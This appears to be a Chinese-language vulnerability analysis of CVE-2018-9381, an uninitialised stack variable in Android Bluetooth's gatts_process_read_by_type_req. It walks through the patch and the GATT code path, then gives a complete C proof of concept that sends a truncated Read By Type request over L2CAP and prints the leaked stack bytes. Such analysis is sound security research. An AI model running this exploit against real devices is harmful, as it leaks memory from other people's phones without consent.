【蓝牙】CVE-2018-9381 gatts_process_read_by_type_req未初始化栈变量导致信息泄露
补丁
https://android.googlesource.com/platform/system/bt/+/0519f6aa5345be0917ad52188479230148adf8bd
补丁初始化了两个变量,并且判断了传入的参数len
,所以我们判断这里可能是len
长度可以由攻击者控制,且后续直接使用了未初始化的栈变量
DO NOT MERGE Initialize local variable in gatts_process_read_by_type_req
Bug: 73125709
Test: manual
Change-Id: I8b3346f605e0820385ea5ed7401bbee664fd15aa
(cherry picked from commit 0e34139d7fa338df6c99aaba13eb839a3dbc2548)
diff --git a/stack/gatt/gatt_sr.cc b/stack/gatt/gatt_sr.cc
index 06c9c52..f9e8f53 100644
--- a/stack/gatt/gatt_sr.cc
+++ b/stack/gatt/gatt_sr.cc
@@ -788,7 +788,8 @@
void gatts_process_read_by_type_req(tGATT_TCB& tcb, uint8_t op_code,
uint16_t len, uint8_t* p_data) {
tBT_UUID uuid;
- uint16_t s_hdl, e_hdl, err_hdl = 0;
+ uint16_t s_hdl = 0, e_hdl = 0, err_hdl = 0;
+ if (len < 4) android_errorWriteLog(0x534e4554, "73125709");
tGATT_STATUS reason =
gatts_validate_packet_format(op_code, len, p_data, &uuid, s_hdl, e_hdl);
通过源码来看整个过程,GATT的初始化函数
/*******************************************************************************
*
* Function gatt_init
*
* Description This function is enable the GATT profile on the device.
* It clears out the control blocks, and registers with L2CAP.
*
* Returns void
*
******************************************************************************/
void gatt_init(void) {
tL2CAP_FIXED_CHNL_REG fixed_reg;
VLOG(1) << __func__;
gatt_cb = tGATT_CB();
memset(&fixed_reg, 0, sizeof(tL2CAP_FIXED_CHNL_REG));
gatt_cb.def_mtu_size = GATT_DEF_BLE_MTU_SIZE;
gatt_cb.sign_op_queue = fixed_queue_new(SIZE_MAX);
gatt_cb.srv_chg_clt_q = fixed_queue_new(SIZE_MAX);
/* First, register fixed L2CAP channel for ATT over BLE */
fixed_reg.fixed_chnl_opts.mode = L2CAP_FCR_BASIC_MODE;
fixed_reg.fixed_chnl_opts.max_transmit = 0xFF;
fixed_reg.fixed_chnl_opts.rtrans_tout = 2000;
fixed_reg.fixed_chnl_opts.mon_tout = 12000;
fixed_reg.fixed_chnl_opts.mps = 670;
fixed_reg.fixed_chnl_opts.tx_win_sz = 1;
fixed_reg.pL2CA_FixedConn_Cb = gatt_le_connect_cback;
fixed_reg.pL2CA_FixedData_Cb = gatt_le_data_ind;
fixed_reg.pL2CA_FixedCong_Cb = gatt_le_cong_cback; /* congestion callback */
fixed_reg.default_idle_tout = 0xffff; /* 0xffff default idle timeout */
L2CA_RegisterFixedChannel(L2CAP_ATT_CID, &fixed_reg);
/* Now, register with L2CAP for ATT PSM over BR/EDR */
if (!L2CA_Register(BT_PSM_ATT, (tL2CAP_APPL_INFO*)&dyn_info)) {
LOG(ERROR) << "ATT Dynamic Registration failed";
}
BTM_SetSecurityLevel(true, "", BTM_SEC_SERVICE_ATT, BTM_SEC_NONE, BT_PSM_ATT,
0, 0);
BTM_SetSecurityLevel(false, "", BTM_SEC_SERVICE_ATT, BTM_SEC_NONE, BT_PSM_ATT,
0, 0);
gatt_cb.hdl_cfg.gatt_start_hdl = GATT_GATT_START_HANDLE;
gatt_cb.hdl_cfg.gap_start_hdl = GATT_GAP_START_HANDLE;
gatt_cb.hdl_cfg.app_start_hdl = GATT_APP_START_HANDLE;
gatt_cb.hdl_list_info = new std::list<tGATT_HDL_LIST_ELEM>();
gatt_cb.srv_list_info = new std::list<tGATT_SRV_LIST_ELEM>();
gatt_profile_db_init();
}
注意其中的gatt_le_data_ind
,建立连接后,当L2CAP收到数据,就会调用这个函数
fixed_reg.pL2CA_FixedData_Cb = gatt_le_data_ind;
该函数的注释,这里在根据地址获取CCB
/*******************************************************************************
*
* Function gatt_le_data_ind
*
* Description This function is called when data is received from L2CAP.
* if we are the originator of the connection, we are the ATT
* client, and the received message is queued up for the
* client.
*
* If we are the destination of the connection, we are the ATT
* server, so the message is passed to the server processing
* function.
*
* Returns void
*
******************************************************************************/
static void gatt_le_data_ind(uint16_t chan, const RawAddress& bd_addr,
BT_HDR* p_buf) {
tGATT_TCB* p_tcb;
/* Find CCB based on bd addr */
if ((p_tcb = gatt_find_tcb_by_addr(bd_addr, BT_TRANSPORT_LE)) != NULL) {
if (gatt_get_ch_state(p_tcb) < GATT_CH_OPEN) {
LOG(WARNING) << "ATT - Ignored L2CAP data while in state: "
<< +gatt_get_ch_state(p_tcb);
} else
gatt_data_process(*p_tcb, p_buf);
}
osi_free(p_buf);
}
关键调用gatt_data_process()
,注释里说,当我们是被连接的一端,那么我们就是ATT Server
,所以,我们要处理来自Client
的请求
/*******************************************************************************
*
* Function gatt_le_data_ind
*
* Description This function is called when data is received from L2CAP.
* if we are the originator of the connection, we are the ATT
* client, and the received message is queued up for the
* client.
*
* If we are the destination of the connection, we are the ATT
* server, so the message is passed to the server processing
* function.
*
* Returns void
*
******************************************************************************/
void gatt_data_process(tGATT_TCB& tcb, BT_HDR* p_buf) {
uint8_t* p = (uint8_t*)(p_buf + 1) + p_buf->offset; // 取buffer指针
uint8_t op_code, pseudo_op_code;
if (p_buf->len <= 0) { // p_buf->len是buffer的长度
LOG(ERROR) << "invalid data length, ignore";
return;
}
uint16_t msg_len = p_buf->len - 1; // 消息长度
STREAM_TO_UINT8(op_code, p); // 取buffer的第一个8位作为OP_CODE
/* remove the two MSBs associated with sign write and write cmd */
pseudo_op_code = op_code & (~GATT_WRITE_CMD_MASK);
if (pseudo_op_code >= GATT_OP_CODE_MAX) {
LOG(ERROR) << "ATT - Rcvd L2CAP data, unknown cmd: 0x" << std::hex
<< op_code;
return;
}
if (op_code == GATT_SIGN_CMD_WRITE) {
gatt_verify_signature(tcb, p_buf);
} else {
/* message from client */
if ((op_code % 2) == 0)
// OP_CODE = GATT_REQ_READ_BY_TYPE 0x08
// 所以会走入这个分支
gatt_server_handle_client_req(tcb, op_code, msg_len, p);
else
gatt_client_handle_server_rsp(tcb, op_code, msg_len, p);
}
}
switch判断op_code
,进入GATT_REQ_READ_BY_TYPE
,调用gatts_process_read_by_type_req()
/** This function is called to handle the client requests to server */
void gatt_server_handle_client_req(tGATT_TCB& tcb, uint8_t op_code,
uint16_t len, uint8_t* p_data) {
/* there is pending command, discard this one */
if (!gatt_sr_cmd_empty(tcb) && op_code != GATT_HANDLE_VALUE_CONF) return;
/* the size of the message may not be bigger than the local max PDU size*/
/* The message has to be smaller than the agreed MTU, len does not include op
* code */
if (len >= tcb.payload_size) {
LOG(ERROR) << StringPrintf("server receive invalid PDU size:%d pdu size:%d",
len + 1, tcb.payload_size);
/* for invalid request expecting response, send it now */
if (op_code != GATT_CMD_WRITE && op_code != GATT_SIGN_CMD_WRITE &&
op_code != GATT_HANDLE_VALUE_CONF) {
gatt_send_error_rsp(tcb, GATT_INVALID_PDU, op_code, 0, false);
}
/* otherwise, ignore the pkt */
} else {
switch (op_code) {
case GATT_REQ_READ_BY_GRP_TYPE: /* discover primary services */
case GATT_REQ_FIND_TYPE_VALUE: /* discover service by UUID */
gatts_process_primary_service_req(tcb, op_code, len, p_data);
break;
case GATT_REQ_FIND_INFO: /* discover char descrptor */
gatts_process_find_info(tcb, op_code, len, p_data);
break;
// switch判断,走入这个分支
case GATT_REQ_READ_BY_TYPE: /* read characteristic value, char descriptor value */
/* discover characteristic, discover char by UUID */
gatts_process_read_by_type_req(tcb, op_code, len, p_data);
break;
结合补丁,我们可以猜测这里很有可能是未对栈变量做初始化,后面直接使用了,此时栈变量的值就是栈里原来的数据,我们跟入第一个函数gatts_validate_packet_format()
,这里传入了s_hdl
和e_hdl
void gatts_process_read_by_type_req(tGATT_TCB& tcb, uint8_t op_code,
uint16_t len, uint8_t* p_data) {
tBT_UUID uuid;
uint16_t s_hdl, e_hdl, err_hdl = 0;
tGATT_STATUS reason =
gatts_validate_packet_format(op_code, len, p_data, &uuid, s_hdl, e_hdl);
...
注意参数,使用的是引用的方法,所以这里的变量修改就会影响上层传入的变量
static tGATT_STATUS gatts_validate_packet_format(uint8_t op_code, uint16_t& len,
uint8_t*& p, tBT_UUID* p_uuid,
uint16_t& s_hdl,
uint16_t& e_hdl) {
tGATT_STATUS ret = read_handles(len, p, s_hdl, e_hdl);
...
}
跟入read_handles()
,问题出现了,当len
的长度小于4,就返回GATT_INVALID_PDU
,此时没有对s_hdl
和e_hdl
进行赋值操作
static tGATT_STATUS read_handles(uint16_t& len, uint8_t*& p, uint16_t& s_hdl,
uint16_t& e_hdl) {
if (len < 4) return GATT_INVALID_PDU;
...
}
返回上层函数,因为ret
的值是GATT_INVALID_PDU
,所以继续返回上层函数
static tGATT_STATUS gatts_validate_packet_format(uint8_t op_code, uint16_t& len,
uint8_t*& p, tBT_UUID* p_uuid,
uint16_t& s_hdl,
uint16_t& e_hdl) {
tGATT_STATUS ret = read_handles(len, p, s_hdl, e_hdl);
if (ret != GATT_SUCCESS) return ret;
...
}
回到了打补丁的函数,因为reason
是GATT_INVALID_PDU
,所以会调用gatt_send_error_rsp()
返回错误信息给连接者(master)
void gatts_process_read_by_type_req(tGATT_TCB& tcb, uint8_t op_code,
uint16_t len, uint8_t* p_data) {
tBT_UUID uuid;
uint16_t s_hdl, e_hdl, err_hdl = 0;
tGATT_STATUS reason =
gatts_validate_packet_format(op_code, len, p_data, &uuid, s_hdl, e_hdl);
if (reason != GATT_SUCCESS) {
gatt_send_error_rsp(tcb, reason, op_code, s_hdl, false);
return;
}
...
这个函数返回一个错误的消息,从我们上面的分析来看,第四个参数uinit_t handle
对应着传入的s_hdl
/*******************************************************************************
*
* Function gatt_send_error_rsp
*
* Description This function sends an error response.
*
* Returns void
*
******************************************************************************/
tGATT_STATUS gatt_send_error_rsp(tGATT_TCB& tcb, uint8_t err_code,
uint8_t op_code, uint16_t handle, bool deq) {
tGATT_STATUS status;
BT_HDR* p_buf;
tGATT_SR_MSG msg;
msg.error.cmd_code = op_code;
msg.error.reason = err_code;
msg.error.handle = handle;
p_buf = attp_build_sr_msg(tcb, GATT_RSP_ERROR, &msg);
if (p_buf != NULL) {
status = attp_send_sr_msg(tcb, p_buf);
} else
status = GATT_INSUF_RESOURCE;
if (deq) gatt_dequeue_sr_cmd(tcb);
return status;
}
PoC如下,首先进行连接,send_trigger_req()
里给p
赋值为GATT_REQ_READ_BY_TYPE
也就是0x08
,赋值完后进行发送,此时发生错误,未初始化的栈变量被赋值到msg.error.handle
,错误信息返回后被recv_and_leak()
捕获,造成信息泄露,在recv_and_leak()
里,因为cmd_code
和reason
都是uint8_t
类型,所以需要跳过两字节才是handle
,同时handle
是uint16_t
类型,所以使用STREAM_TO_UINT16
读取
/*
gcc poc.c -o poc -lbluetooth
./poc TARGET_ADDR
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>
#define BT_PSM_GATT 31
#define GATT_REQ_READ_BY_TYPE 0x08
#define UINT16_TO_STREAM(p, u16) \
{ \
*(p)++ = (uint8_t)(u16); \
*(p)++ = (uint8_t)((u16) >> 8); \
}
#define STREAM_TO_UINT16(u16, p) \
{ \
(u16) = ((uint16_t)(*(p)) + (((uint16_t)(*((p) + 1))) << 8)); \
(p) += 2; \
}
#define GATT_BLD_OPCODE(p, opcode) \
do { \
*(p)++ = opcode; \
} while(0)
// 接收设备返回的数据
void recv_and_leak(int sock_fd)
{
uint8_t recv_buf[512];
int ret;
memset(recv_buf, 0, 512);
ret = recv(sock_fd, recv_buf, 512, 0);
if(ret == -1) {
perror("[*] recv handle : ");
return;
}
printf("recv len: %d\n", ret);
uint16_t handle = 0;
uint8_t *p = (recv_buf + 2);
STREAM_TO_UINT16(handle, p);
printf("leak data: %04x\n", handle);
}
// 发送数据包
void send_trigger_req(int sock_fd)
{
uint8_t buffer[1024];
memset(buffer, 0, 1024);
uint8_t *p = buffer;
GATT_BLD_OPCODE(p, GATT_REQ_READ_BY_TYPE);
//uint16_t s_hdl = 0x0001, e_hdl = 0x000f;
//UINT16_TO_STREAM(p, s_hdl);
//UINT16_TO_STREAM(p, e_hdl);
//uint16_t uuid = 0x2a05; // not 0x2800 - 0x2803
//UINT16_TO_STREAM(p, uuid);
send(sock_fd, buffer, p - buffer, 0);
recv_and_leak(sock_fd);
}
// main函数主要做蓝牙连接操作
int main(int argc ,char* argv[]){
int sock_fd, ret;
int try_count = 1;
char dest[18];
struct sockaddr_l2 local_l2_addr;
struct sockaddr_l2 remote_l2_addr;
if(argc < 2){
printf("usage : sudo ./poc TARGET_ADDR\n");
return -1;
}
strncpy(dest, argv[1], 18);
while( try_count-- > 0 )
{
sock_fd = socket(PF_BLUETOOTH, SOCK_STREAM, BTPROTO_L2CAP);
if(sock_fd == -1){
perror("[*] socket create failed : ");
return -1;
}
// 初始化本地地址
memset(&local_l2_addr, 0, sizeof(struct sockaddr_l2));
local_l2_addr.l2_family = PF_BLUETOOTH;
memcpy(&local_l2_addr.l2_bdaddr , BDADDR_ANY, sizeof(bdaddr_t));
ret = bind(sock_fd, (struct sockaddr*) &local_l2_addr, sizeof(struct sockaddr_l2));
if(ret == -1){
perror("[*] bind()");
goto out;
}
// l2cap_set_mtu(sock_fd, 1024, 1024);
memset(&remote_l2_addr, 0, sizeof(remote_l2_addr));
remote_l2_addr.l2_family = PF_BLUETOOTH;
remote_l2_addr.l2_psm = htobs(BT_PSM_GATT);
str2ba(dest, &remote_l2_addr.l2_bdaddr);
if(connect(sock_fd, (struct sockaddr *) &remote_l2_addr,sizeof(remote_l2_addr)) < 0) {
perror("[*] can't connect");
// if(errno == 100)
// goto vul;
goto out;
}
send_trigger_req(sock_fd);
sleep(1);
}
out:
close(sock_fd);
return 0;
}
再来回顾下补丁,首先初始化栈变量s_hdl
和e_hdl
,避免后续继续出现同样的问题,同时判断传入的buffer长度,不能小于4
void gatts_process_read_by_type_req(tGATT_TCB& tcb, uint8_t op_code,
uint16_t len, uint8_t* p_data) {
tBT_UUID uuid;
- uint16_t s_hdl, e_hdl, err_hdl = 0;
+ uint16_t s_hdl = 0, e_hdl = 0, err_hdl = 0;
+ if (len < 4) android_errorWriteLog(0x534e4554, "73125709");
tGATT_STATUS reason =
gatts_validate_packet_format(op_code, len, p_data, &uuid, s_hdl, e_hdl);
其它地方估计还会有不少这样的漏洞
Last updated